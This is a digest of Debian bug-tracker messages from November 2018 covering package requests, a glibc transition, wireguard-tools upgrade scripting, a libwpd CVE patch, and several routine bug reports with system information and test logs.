> File: /usr/share/man/man8/update-rc.d.8.gz
> 
> We read
>-f Force removal of symlinks even if /etc/init.d/name still exists.
> 
> However we find that indeed you might as well change that to
> 
>-f [no-op, retained for backwards compatibility]
> 
> or
>-f Force removal of symlinks even if /etc/init.d/name still
>exists [enabled by default]
> 
> Proof:
> 
> # sysv-rc-conf  --list cron
> cron 0:off  1:off   2:on3:on4:on5:on6:off
> # update-rc.d cron remove
> update-rc.d: using dependency based boot sequencing
> # sysv-rc-conf  --list cron #GONE:
> cron
> # update-rc.d cron defaults
> update-rc.d: using dependency based boot sequencing
> update-rc.d: warning: cron stop runlevel arguments (0 1 6) do not match LSB 
> Default-Stop values (1)

The -f parameter is mostly just passed along to insserv and causes it to
ignore any potential dependency errors afair.

If you could remove cron without issues, then this means no other
service had a hard dependency on it.

At least that's how I understand the meaning of -f.
Felipe, is this correct?

If so, I guess the correct fix would be to update the documentation of
the -f flag accordingly.





-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature

Bug#913769: ITP: treepy-el -- generic tree traversal tools

[Matteo F. Vescovi]

Package: wnpp
Owner: Matteo F. Vescovi 
Severity: wishlist

* Package name: treepy-el
  Version : 0.1.1
  Upstream Author : Daniel Barreto
* URL or Web page : https://github.com/volrath/treepy.el
* License : GPL-3+
  Description : generic tree traversal tools

A set of generic functions for traversing tree-like data structures
recursively and/or iteratively, ported from clojure.walk and
clojure.zip respectively.


-- 
Matteo F. Vescovi


signature.asc
Description: PGP signature

Bug#913767: ITP: graphql-el -- domain-specific language for creating and executing GraphQL queries

[Matteo F. Vescovi]

Package: wnpp
Owner: Matteo F. Vescovi 
Severity: wishlist

* Package name: graphql-el
  Version : 0.1.1
  Upstream Author : Sean Allred
* URL or Web page : https://github.com/vermiculus/graphql.el
* License : GPL-3+
  Description : domain-specific language for creating and executing GraphQL 
queries

GraphQL.el provides a generally-applicable domain-specific language
for creating and executing GraphQL queries against your favorite
web services.

-- 
Matteo F. Vescovi


signature.asc
Description: PGP signature

Bug#913768: transition: glibc

[Aurelien Jarno]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: transition

Dear release team,

I would like to get a transition slot for glibc 2.28. It is available in
experimental for almost 3 weeks and there is no known issue or
regression. It's also the version shipped in Ubuntu 18.10. It has been
built successfully on all release architectures. It fails to builds on a
few non-release architectures, but only due to a few testsuite issues
that needs to be investigated and which do not looks really worrying.

As the glibc is using symbol versioning, there is no soname change. That
said a few packages are using libc internal symbols and have to be
rebuilt for this transition:
 - apitrace
 - bro
 - dante
 - libnih
 - libnss-db
 - p11-kit
 - unscd

Here is the corresponding ben file:
  title = "glibc";
  is_affected = .depends ~ /libc[0-9.]* \(<

Bug#556893: Processed: reassign 556893 to init-system-helpers

[Michael Biebl]

Control: reassign -1 insserv

[please always CC the maintainers of the packge when you reassign a bug
report]


Am 14.11.18 um 22:30 schrieb Debian Bug Tracking System:
> Processing commands for cont...@bugs.debian.org:
> 
>> reassign 556893 init-system-helpers
> Bug #556893 [sysv-rc] say which 'defaults' are which better
> Bug reassigned from package 'sysv-rc' to 'init-system-helpers'.
> No longer marked as found in versions sysvinit/2.87dsf-8.
> Ignoring request to alter fixed versions of bug #556893 to the same values 
> previously set
>> thanks
> Stopping processing here.
> 
> Please contact me if you need assistance.
> 

That error message comes for insserv, not update-rc.d, so reassigning to
insserv.

-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature

Bug#913766: ITP: librsvg-c -- the pre-Rust version of librsvg

[Jeremy Bicha]

Package: wnpp
Severity: wishlist
X-Debbugs-CC: debian-de...@lists.debian.org, glaub...@physik.fu-berlin.de
Owner: jbi...@debian.org

Package Name: librsvg-c
Version: 2.40.20
Upstream Authors: Ximian, Eazel, Red Hat, Igalia, etc.
License : LGPL-2+
Programming Lang: C
Homepage: https://wiki.gnome.org/Projects/LibRsvg
Description: SAX-based renderer library for SVG files
 The rsvg library is an efficient renderer for Scalable Vector Graphics
 (SVG) pictures.

Other Info
--
As requested, this is librsvg reintroduced for ports that don't
supported the rustified librsvg yet. The name is because this is
librsvg written in the C programming language (instead of in Rust).

Packaging can be found at https://salsa.debian.org/gnome-team/librsvg-c

Currently, the packaging builds the same binary package names as
src:librsvg. There was a suggestion to use different binary names with
versioned Provides (against the existing librsvg binary package
names). I'm not sure that provides much benefit but we can discuss
that.

I don't have the ability to do the initial upload for this package
since I don't have easy access to do the binary build required for
ftp-master NEW.

I don't have experience with archive management for non-release
architectures at all.

Thanks,
Jeremy Bicha

Bug#913446: wireguard-tools: optionally reload module / interfaces on upgrade

[Daniel Kahn Gillmor]

On Wed 2018-11-14 21:14:08 +0100, Fabian Grünbichler wrote:
> Maybe going with the meta package is a good idea then - especially since
> it allows us a cheap 'opt-in' for the reloading behaviour.

yep, i'm leaning in this direction too.

> I was thinking about changes to the wg-quick template unit (e.g., adding
> more isolation features). But those are likely not as important as
> changes to the module, so if we simplify to two (or no ;)) options, I'd
> also go with the 'module' semantics.

cool, sounds like we're converging.

> Sounds good to me. And was so straightforward I just went ahead and
> pushed that (the previous iteration is available as
> mr/reload-on-upgrade_v1 tag). You probably still want to adapt the echo
> statements and package description ;)

This looks great!  a few more nit-picking questions:

 a) is there a risk that we could somehow have the wireguard kernel
module loaded, but *not* have wireguard.ko available for finding via
modinfo -F ?  If that's the case, then it looks like the postinst
script will exit with an error, rather than exiting cleanly.

 b) is there a reason why we walk through $units in a for loop, when
systemctl is supposed to be able to take an arbitrary number of
units as arguments?

that is, why not just do:

   systemctl stop $units || true

instead of this whole rigamarole:

for unit in $units; do
echo "$unit" >&2
systemctl stop "$unit" >/dev/null || true
done

 c) where does "sleep 3" come from?  why 3 seconds instead of 1 or 5?
i'm always a bit leery of magic numbers like this.

 d) is it possible to avoid stopping and restarting wg-quick@ units by
comparing it to "wg show" *before* stopping and starting wg-quick@
units?  If it's not too clever to do, it might at least avoid some
unnecessary network disruption on some systems.

let me know what you think!  thanks for being so gracious about the
back-and-forth here, and for your work on getting this into shape!

--dkg



signature.asc
Description: PGP signature

Bug#913702: libwpd: CVE-2018-19208

[Moritz Mühlenhoff]

On Wed, Nov 14, 2018 at 09:50:19PM +0100, Salvatore Bonaccorso wrote:
> Hi Rene,
> 
> On Wed, Nov 14, 2018 at 09:22:04PM +0100, Rene Engelhard wrote:
> > Hi,
> > 
> > On Wed, Nov 14, 2018 at 08:19:05AM +0100, Salvatore Bonaccorso wrote:
> > > [2] 
> > > https://src.fedoraproject.org/rpms/libwpd/blob/e42834b844f3282d8ccb0889abf1b33f3f71e02f/f/0001-Resolves-rhbz-1643752-bounds-check-m_currentTable-ac.patch
> > 
> > Will apply, thanks.
> 
> Thanks!
> 
> > > Please adjust the affected versions in the BTS as needed.
> > 
> > Assuming stable was affected, I assume it's the same as last time and
> > this should go over p-u and not -security (since "only" DOS)?
> 
> Yes defintively, we already marked it as 'no-dsa'. So agree it does
> not warrant a DSA and can be safely updates via p-u.

Yeah, it's hardly even a security issue, otherwise we'd have to
treat every LO crash a security bug :-)

Cheers,
Moritz

Bug#913765: O: leafpad -- GTK+ based simple text editor

[krystal]

Package: leafpad

Version: 0.8.18.1

Severity: serious

Tags: O

This needs love or it will die. Needs to be updated to use gtk3, has at 
least one bug that may cause data loss without warning. Is anyone going 
to take this on, or is there a better simple text editor that we should 
all move to and let this one go?

Bug#913764: mozilla-noscript: FTBFS because of dh_webext UnicodeDecodeError

[Markus Koschany]

Source: mozilla-noscript
Version: 10.1.9.6-2
Severity: serious

Hi,

mozilla-noscript currently FTBFS because of

https://buildd.debian.org/status/fetch.php?pkg=mozilla-noscript=all=10.1.9.6-2=1537976571=0

dh_webext: Ignored some command-line arguments: ['-i']
Traceback (most recent call last):
  File "/usr/bin/dh_webext", line 219, in 
  sys.exit(install_webext(*sys.argv[1:]))
  File "/usr/bin/dh_webext", line 146, in install_webext
  packages = args.packages or get_all_packages()
  File "/usr/bin/dh_webext", line 73, in get_all_packages
  lines = open("debian/control").readlines()
  File "/usr/lib/python3.6/encodings/ascii.py", line 26, in decode
  return codecs.ascii_decode(input, self.errors)[0]
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 210: 
ordinal not in range(128)

This prevents the migration of version 10.1.9.6-2 to testing.

Regards,

Markus

Bug#913763: RM: jailtool -- RoQA; Orphaned and Debian specific; relies on internal dpkg database; supports sysv-init only

[Niels Thykier]

Package: ftp.debian.org
Severity: normal

Hi,

The jailtool package appears to be ripe for removal since:

 * It appears to have been orphaned.
 * The tool appears to be Debian-specific (or have strong Debian ties)
 * The tool relies on the current dpkg database layout (which might
   change in the future, see #913693)
 * The tool appears to only work with sysvinit based services.

Thanks,
~Niels

Bug#913761: lintian: debian-watch-file-should-mangle-version does not recognize @DEB_EXT@

[Sebastian Ramacher]

Package: lintian
Version: 2.5.112
Severity: normal

From man uscan:

   @DEB_EXT@
   This is substituted by the typical Debian extension regexp 
(capturing).

 [\+~](debian|dfsg|ds|deb)(\.)?(\d+)?$


lintian however does not recognize @DEB_EXT@. For a debian/watch file including
dversinmangle=s/@DEB_EXT@// lintian incorrectly reports
debian-watch-file-should-mangle-version. Example debian/watch that exhibits this
issue:

version=4
opts="uversionmangle=s/.pre/~pre/,dversionmangle=s/@DEB_EXT@//,repacksuffix=+ds1"
 \
   https://github.com/intel/gmmlib/tags \
   (?:.*?/)intel-gmmlib@ANY_VERSION@\.tar\.gz


Cheers

-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (650, 'unstable-debug'), (650, 'buildd-unstable'), (650, 
'unstable'), (601, 'testing'), (600, 'experimental-debug'), (600, 
'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-2-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8), LANGUAGE=en_US:en 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages lintian depends on:
ii  binutils   2.31.1-7
ii  bzip2  1.0.6-9
ii  diffstat   1.61-1+b1
ii  dpkg   1.19.2
ii  dpkg-dev   1.19.2
ii  file   1:5.34-2
ii  gettext0.19.8.1-9
ii  gpg2.2.10-3
ii  intltool-debian0.35.0+20060710.4
ii  libapt-pkg-perl0.1.34+b1
ii  libarchive-zip-perl1.64-1
ii  libcgi-pm-perl 4.40-1
ii  libclass-accessor-perl 0.51-1
ii  libclone-perl  0.41-1+b1
ii  libdpkg-perl   1.19.2
ii  libemail-valid-perl1.202-1
ii  libfile-basedir-perl   0.08-1
ii  libipc-run-perl20180523.0-1
ii  liblist-moreutils-perl 0.416-1+b4
ii  libparse-debianchangelog-perl  1.2.0-13
ii  libtext-levenshtein-perl   0.13-1
ii  libtimedate-perl   2.3000-2
ii  liburi-perl1.74-1
ii  libxml-simple-perl 2.25-1
ii  libyaml-libyaml-perl   0.75+repack-1
ii  man-db 2.8.4-3
ii  patchutils 0.3.4-2
ii  perl [libdigest-sha-perl]  5.28.0-3
ii  t1utils1.41-2
ii  xz-utils   5.2.2-1.3

Versions of packages lintian recommends:
ii  libperlio-gzip-perl  0.19-1+b5

Versions of packages lintian suggests:
pn  binutils-multiarch 
ii  libhtml-parser-perl3.72-3+b3
ii  libtext-template-perl  1.53-1

-- no debconf information

-- 
Sebastian Ramacher


signature.asc
Description: PGP signature

Bug#913762: RFP: jbibtex -- Java BibTeX API

[Rene Engelhard]

Package: wnpp
Severity: wishlist

* Package name: jbibtex
  Version : 1.0.17
  Upstream Author : villu.ruusm...@gmail.com
* URL : https://github.com/jbibtex/jbibtex
* License : BSD
  Programming Lang: Java
  Description : Java BibTeX API

Java BibTeX and LaTeX parser and formatter library

I tried to package this myself but failed using mh_make since
some test(-only) dependencies were not found and I couldn't get past
it (and get the tests disabled?)

So if someone wanted to package it I'd be very grateful as writer2latex
1.6.x needs it (upstream "of course" embeds the binary jar :/))

Regards,

Rene

Bug#913760: python3-electrum: Add Depends on libsecp256k1-0 for faster signing and verification.

[Witold Baryluk]

Package: python3-electrum
Version: 3.2.3-1
Severity: normal

libsecp256k1 has is fast, even on architectures without hand crafted
assembly, it is extremally well tested, and engineered for speed and
constant time execution.

Just installing it libsecp256k1-0, allows electrum to use it.

Otherwise I get:

[ecc] info: libsecp256k1 library not available, falling back to python-ecdsa. 
This means signing operations will be slower.

After installing libsecp256k1-0 package, the info/warning went away.

Thanks!



-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-2-amd64 (SMP w/32 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages python3-electrum depends on:
ii  python3   3.6.7-1
ii  python3-dnspython 1.15.0-1
ii  python3-ecdsa 0.13-3
ii  python3-jsonrpclib-pelix  0.3.1-1
ii  python3-protobuf  3.6.1-4
ii  python3-pyaes 1.6.1-2
ii  python3-qrcode6.0-1
ii  python3-requests  2.20.0-2
ii  python3-socks 1.6.8+dfsg-1

python3-electrum recommends no packages.

python3-electrum suggests no packages.

-- no debconf information

Bug#913758: electrum: Support hardware wallets

[Witold Baryluk]

Package: electrum
Version: 3.2.3-1
Severity: normal


It tells me right now that "Missing libraries for trezor", same for
coldcard, digitalbitbox, keepkey, ledger and safe_t.

Regards,
Witold



-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-2-amd64 (SMP w/32 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages electrum depends on:
ii  python3   3.6.7-1
ii  python3-electrum  3.2.3-1

Versions of packages electrum recommends:
ii  python3-pyqt5  5.11.3+dfsg-1+b1

Versions of packages electrum suggests:
pn  python3-btchip  
pn  python3-trezor  
pn  python3-zbar

-- no debconf information

Bug#913759: electrum: Dark theme doesn't work

[Witold Baryluk]

Package: electrum
Version: 3.2.3-1
Severity: normal

Selecting dark theme in Preferences, and restarting the electrum, does
nothing.


-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-2-amd64 (SMP w/32 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages electrum depends on:
ii  python3   3.6.7-1
ii  python3-electrum  3.2.3-1

Versions of packages electrum recommends:
ii  python3-pyqt5  5.11.3+dfsg-1+b1

Versions of packages electrum suggests:
pn  python3-btchip  
pn  python3-trezor  
pn  python3-zbar

-- no debconf information

Bug#913757: python-numpy breaks healpy autopkgtest

[Paul Gevers]

Source: python-numpy, healpy
Control: found -1 python-numpy/1:1.15.4-1
Control: found -1 healpy/1.12.4-3
X-Debbugs-CC: debian...@lists.debian.org
User: debian...@lists.debian.org
Usertags: breaks needs-update

Dear maintainers,

With a recent upload of python-numpy the autopkgtest of healpy fails in
testing when that autopkgtest is run with the binary packages of
python-numpy from unstable. It passes when run with only packages from
testing. In tabular form:
   passfail
python-numpy   from testing1:1.15.4-1
healpy from testing1.12.4-3
all others from testingfrom testing

I copied some of the output at the bottom of this report. It seems the
output just dropped insignificant zeros in the output. To be honest, it
seems healpy just needs to update its reference data.

Currently this regression is contributing to the delay of the migration
of python-numpy to testing [1] (it's own test suite fails as well). Due
to the nature of this issue, I filed this bug report against both
packages. Can you please investigate the situation and reassign the bug
to the right package? If needed, please change the bug's severity.

More information about this bug and the reason for filing it can be found on
https://wiki.debian.org/ContinuousIntegration/RegressionEmailInformation

Paul

[1] https://qa.debian.org/excuses.php?package=python-numpy

https://ci.debian.net/data/autopkgtest/testing/amd64/h/healpy/1313059/log.gz

autopkgtest [04:33:53]: test python-healpy: [---
= test session starts
==
platform linux2 -- Python 2.7.15+, pytest-3.6.4, py-1.7.0, pluggy-0.8.0
rootdir: /tmp/autopkgtest-lxc.41zg42w3/downtmp/autopkgtest_tmp, inifile:
plugins: cython-0.1.0
collected 128 items

healpy/pixelfunc.py F
[ 22%]
healpy/rotator.py ...
[ 25%]
healpy/test/test_fitsfunc.py ...
[ 49%]
healpy/test/test_pixelfunc.py ..
[ 63%]
healpy/test/test_query_disc.py 
[ 69%]
healpy/test/test_rotator.py ...
[ 71%]
healpy/test/test_sphtfunc.py .
[ 85%]
healpy/test/test_spinfunc.py .
[ 89%]
healpy/test/test_visufunc.py ..
[100%]

=== FAILURES
===
__ [doctest] healpy.pixelfunc.reorder
__
332 Examples
333 
334 >>> import healpy as hp
335 >>> hp.reorder(np.arange(48), r2n = True)
336 array([13,  5,  4,  0, 15,  7,  6,  1, 17,  9,  8,  2, 19, 11,
10,  3, 28,
33720, 27, 12, 30, 22, 21, 14, 32, 24, 23, 16, 34, 26, 25,
18, 44, 37,
33836, 29, 45, 39, 38, 31, 46, 41, 40, 33, 47, 43, 42, 35])
339 >>> hp.reorder(np.arange(12), n2r = True)
340 array([ 0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11])
341 >>> print(hp.reorder(hp.ma(np.arange(12.)), n2r = True))
Expected:
[0.0 1.0 2.0 3.0 4.0 5.0 6.0 7.0 8.0 9.0 10.0 11.0]
Got:
[  0.   1.   2.   3.   4.   5.   6.   7.   8.   9.  10.  11.]

/usr/lib/python2.7/dist-packages/healpy/pixelfunc.py:341: DocTestFailure
 1 failed, 127 passed in 14.83 seconds
=
autopkgtest [04:34:08]: test python-healpy: ---]


autopkgtest [04:34:11]: test python3-healpy: [---
= test session starts
==
platform linux -- Python 3.6.7, pytest-3.6.4, py-1.7.0, pluggy-0.8.0
rootdir: /tmp/autopkgtest-lxc.41zg42w3/downtmp/autopkgtest_tmp, inifile:
plugins: remotedata-0.3.1, openfiles-0.3.0, doctestplus-0.1.3,
cython-0.1.0, arraydiff-0.2
collected 128 items

healpy/pixelfunc.py F
[ 22%]
healpy/rotator.py ...
[ 25%]
healpy/test/test_fitsfunc.py ...
[ 49%]
healpy/test/test_pixelfunc.py ..
[ 63%]
healpy/test/test_query_disc.py 
[ 69%]
healpy/test/test_rotator.py ...
[ 71%]
healpy/test/test_sphtfunc.py .
[ 85%]
healpy/test/test_spinfunc.py .
[ 89%]
healpy/test/test_visufunc.py ..
[100%]

=== FAILURES
===
__ [doctest] healpy.pixelfunc.reorder
__
332 Examples
333 
334 >>> import healpy as hp
335 >>> hp.reorder(np.arange(48), r2n = True)
336 array([13,  5,  4,  0, 15,  7,  6,  1, 17,  9,  8,  2, 19, 11,
10,  3, 28,
33720, 27, 12, 30, 22, 21, 14, 32, 24, 23, 16, 34, 26, 25,
18, 44, 37,
33836, 29, 45, 39, 38, 31, 46, 41, 40, 33, 47, 43, 42, 35])
339 >>> hp.reorder(np.arange(12), n2r = True)
340 array([ 0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11])
341 >>> print(hp.reorder(hp.ma(np.arange(12.)), n2r = True))
Expected:
[0.0 1.0 2.0 3.0 4.0 5.0 6.0 7.0 8.0 9.0 10.0 11.0]
Got:
[  0.   1.   2.   3.   4.   5.   6.   

Bug#913720: eccodes: follow up patch for hard coded python3

[Jeremy Bicha]

Since you're currently only building for the default python3, I am
attaching a minor patch to update your Build-Depends.

It might be useful later to build for all supported python3 versions
but that would take more work.

Thanks,
Jeremy Bicha
From 3909dfbdfec7df36bdba03d2f3e114488833149c Mon Sep 17 00:00:00 2001
From: Jeremy Bicha 
Date: Wed, 14 Nov 2018 15:49:16 -0500
Subject: [PATCH] Build-Depend on python3-dev instead of python3-all-dev

since we currently only build for the default python3
instead of for every supported python3 version
---
 debian/control | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/debian/control b/debian/control
index e3aac33..8ed235f 100644
--- a/debian/control
+++ b/debian/control
@@ -12,8 +12,7 @@ Build-Depends: debhelper (>= 10),
   flex, 
   bison, 
   quilt,
-  python3-all,
-  python3-all-dev, 
+  python3-dev,
   python3-numpy, 
   dh-python,
   python3-six, 
-- 
2.19.1

Bug#913756: tootle: Tootle window opens and closes immediately

[bluecat]

Package: tootle
Version: 0.2.0-1
Severity: important

Dear Maintainer,


   After upgrade Tootle in 0.2.0-1 on Debian Sid, the window opens and closes
immediately.

Here is the return when launched via the terminal :
tootle
[INFO 21:35:59.596996] Application.vala:155: Tootle version: 0.2.0
[INFO 21:35:59.597255] Application.vala:157: Kernel version: 4.18.0-2-amd64
[FATAL 21:35:59.680194] [Json] json_object_get_int_member: assertion 'node !=
NULL' failed
[FATAL 21:35:59.680456] [Json] json_object_get_boolean_member: assertion 'node
!= NULL' failed
[FATAL 21:35:59.680653] [Json] json_object_get_array_member: assertion 'node !=
NULL' failed
[FATAL 21:35:59.680814] [Json] json_array_foreach_element: assertion 'array !=
NULL' failed
[INFO 21:35:59.681304] Notificator.vala:40: Starting:
/api/v1/streaming/?stream=user
[INFO 21:35:59.688757] Notificator.vala:40: Starting:
/api/v1/streaming/?stream=user
[INFO 21:35:59.701322] Notificator.vala:40: Starting:
/api/v1/streaming/?stream=public:local
[INFO 21:35:59.705691] Notificator.vala:40: Starting:
/api/v1/streaming/?stream=public
[INFO 21:36:00.595659] Watchlist.vala:23: Reloading
[INFO 21:36:00.595928] Watchlist.vala:34: Watching for 0 users and 0 hashtags
[ERROR 21:36:01.113720] [GLib-GIO] Settings schema
'io.elementary.desktop.wingpanel.datetime' is not installed
Trappe pour point d'arrêt et de trace


Thanks



-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.18.0-2-amd64 (SMP w/1 CPU core)
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), 
LANGUAGE=fr_FR.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages tootle depends on:
ii  dconf-gsettings-backend [gsettings-backend]  0.30.1-1
ii  elementary-xfce-icon-theme   0.13.1-1
ii  libc62.27-8
ii  libgdk-pixbuf2.0-0   2.38.0+dfsg-6
ii  libgee-0.8-2 0.20.1-1
ii  libglib2.0-0 2.58.1-2
ii  libgranite5  5.2.1-1
ii  libgtk-3-0   3.24.1-2
ii  libjson-glib-1.0-0   1.4.4-1
ii  libsoup2.4-1 2.64.2-1

tootle recommends no packages.

tootle suggests no packages.

-- no debconf information

Bug#908678: Testing the filter-branch scripts

[Salvatore Bonaccorso]

Hi,

On Wed, Nov 14, 2018 at 07:45:59PM +0100, Moritz Muehlenhoff wrote:
> On Wed, Nov 14, 2018 at 07:34:03AM +0100, Daniel Lange wrote:
> > Am 13.11.18 um 23:09 schrieb Moritz Muehlenhoff:
> > > The current data structure works very well for us and splitting the files
> > > has many downsides.
> > 
> > Could you detail what those many downsides are besides the scripts that
> > need to be amended?
> 
> Nearly all the tasks of actually editing the data require a look at the 
> complete
> data, e.g. to check whether something was tracked before, whether there's an 
> ITP
> for something, whether something was tracked as NFU in the past and lots more.

Agreed from my point of view as well, history is and contains valuable
data, we do not want to loose that. And even if researching in older
items and made changes takes time. You will even see that with time
passed people started to put more information in the respective done
changes/commits, giving rationales, notes, and additional informations.

And if that all is going to be too much hassle for the salsa
infrastructure we would need/could move the repository to somewhere
else, with the unfortunate downside on contributors from the whole
comunity.  But admitely the people regularly contributing is
overviewable.

On the agreement side I fully agree that initial clones of the repo
are a problem. It as well would be intreesting to see what git
upstream would think on that usecase and #913124 raised by Guido.

Regards,
Salvatore

Bug#913702: libwpd: CVE-2018-19208

[Salvatore Bonaccorso]

Hi Rene,

On Wed, Nov 14, 2018 at 09:22:04PM +0100, Rene Engelhard wrote:
> Hi,
> 
> On Wed, Nov 14, 2018 at 08:19:05AM +0100, Salvatore Bonaccorso wrote:
> > [2] 
> > https://src.fedoraproject.org/rpms/libwpd/blob/e42834b844f3282d8ccb0889abf1b33f3f71e02f/f/0001-Resolves-rhbz-1643752-bounds-check-m_currentTable-ac.patch
> 
> Will apply, thanks.

Thanks!

> > Please adjust the affected versions in the BTS as needed.
> 
> Assuming stable was affected, I assume it's the same as last time and
> this should go over p-u and not -security (since "only" DOS)?

Yes defintively, we already marked it as 'no-dsa'. So agree it does
not warrant a DSA and can be safely updates via p-u.

Thanks for your work!

Regards,
Salvatore

Bug#913755: hopenpgp-tools: hokey lint reports "unknown pubkey algorithm type 22" for ed25519 subkey

[Daniel Kahn Gillmor]

Package: hopenpgp-tools
Version: 0.21.2-2
Severity: normal

D368FE75E1AA92F6E49B99D26C1F1EDECC50FA53 is a signing-capable ed25519
subkey of 0EE5BE979282D80B9F7540F1CCD2ED94D21739E9.

"hokey lint" complains "unknown pubkey algorithm type 22 unknown"

hopenpgp-tools should learn about ed25519!

   --dkg


-- System Information:
Debian Release: buster/sid
  APT prefers testing-debug
  APT policy: (500, 'testing-debug'), (500, 'testing'), (200, 
'unstable-debug'), (200, 'unstable'), (1, 'experimental-debug'), (1, 
'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-2-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages hopenpgp-tools depends on:
ii  libatomic1   8.2.0-9
ii  libbz2-1.0   1.0.6-9
ii  libc62.27-8
ii  libffi6  3.2.1-8
ii  libgmp10 2:6.1.2+dfsg-3
ii  libnettle6   3.4-1
ii  libyaml-0-2  0.2.1-1
ii  zlib1g   1:1.2.11.dfsg-1

hopenpgp-tools recommends no packages.

hopenpgp-tools suggests no packages.

-- no debconf information

Bug#831329: More

[積丹尼 Dan Jacobson]

Nov 15 04:25:46 jidanni7 gvfsd[1099]: mkdir failed on directory 
/var/cache/samba: Permission denied
Nov 15 04:25:47 jidanni7 gvfsd[1099]: mkdir failed on directory 
/var/cache/samba: Permission denied
Nov 15 04:25:48 jidanni7 gvfsd[1099]: mkdir failed on directory 
/var/cache/samba: Permission denied
Nov 15 04:25:49 jidanni7 gvfsd[1099]: mkdir failed on directory 
/var/cache/samba: Permission denied
Nov 15 04:25:50 jidanni7 gvfsd[1099]: mkdir failed on directory 
/var/cache/samba: Permission denied
https://bugs.launchpad.net/ubuntu/+source/gvfs/+bug/1758653

Bug#913702: libwpd: CVE-2018-19208

[Rene Engelhard]

Hi,

On Wed, Nov 14, 2018 at 08:19:05AM +0100, Salvatore Bonaccorso wrote:
> [2] 
> https://src.fedoraproject.org/rpms/libwpd/blob/e42834b844f3282d8ccb0889abf1b33f3f71e02f/f/0001-Resolves-rhbz-1643752-bounds-check-m_currentTable-ac.patch

Will apply, thanks.

> Please adjust the affected versions in the BTS as needed.

Assuming stable was affected, I assume it's the same as last time and
this should go over p-u and not -security (since "only" DOS)?

Regards,

Rene

Bug#913446: wireguard-tools: optionally reload module / interfaces on upgrade

[Fabian Grünbichler]

On Wed, Nov 14, 2018 at 02:39:10AM -0500, Daniel Kahn Gillmor wrote:
> Some questions:
> 
>  * why put the module reloading in wireguard-tools.postinst and not in
>wireguard.postinst ?  There's no guarantee that wireguard-dkms will
>have been upgraded by the time wireguard-tools.postinst gets invoked.
>Indeed, wireguard-tools only "Recommends: wireguard-dkms (=
>${source:Version})", but doesn't "Depends: wireguard-dkms".
> 
>In some sense, i think this might actually belong in the postinst of
>the wireguard metapackage, where we can be sure that both subpackages
>(the kernel parts and the userspace parts) have been installed.  For
>minimalist installations (those without the wireguard metapackage)
>the admins can handle the upgrades manually themselves.

Now that you mentioned this, I am not so sure my assumption that
'postinst configure' of the recommended package must have been called
already when 'postinst configure' of the recommending one is called is
true, and a quick excursion into Policy, man deb-control and dpkg
sources did not convince me either way.

Maybe going with the meta package is a good idea then - especially since
it allows us a cheap 'opt-in' for the reloading behaviour.

> 
>  * The debconf question looks good (and thank you for taking the time to
>care for i18n!), but i'm wondering whether three values is too many
>to choose from.  Is there any common use case where people would
>really need to have "always" instead of "module"?

I was thinking about changes to the wg-quick template unit (e.g., adding
more isolation features). But those are likely not as important as
changes to the module, so if we simplify to two (or no ;)) options, I'd
also go with the 'module' semantics.

>  * heading further down the simplification path, what if we just said
>that the "wireguard" metapackage would take the behavior currently
>specified as "module" directly in it's postinst configuration,
>without offering the admin any choice?  The admins who don't want
>that behavior can always choose to not install the "wireguard"`
>package, and can track the two sub-packages manually.
> 
> I hope it's not too frustrating that i suggested the use of debconf over
> on the mailing list, and now i'm suggesting that maybe we don't need to
> use it at all.  Seeing both eggie's work and your work on this has
> helped me think through the various options much farther than i would
> have gotten on my own.

If nothing else, I learned a thing or two about debconf last weekend :)

> If we end up with something even simpler, that might be even better!
> 
> What do you think about this simplified proposal?  To implement it, i'd
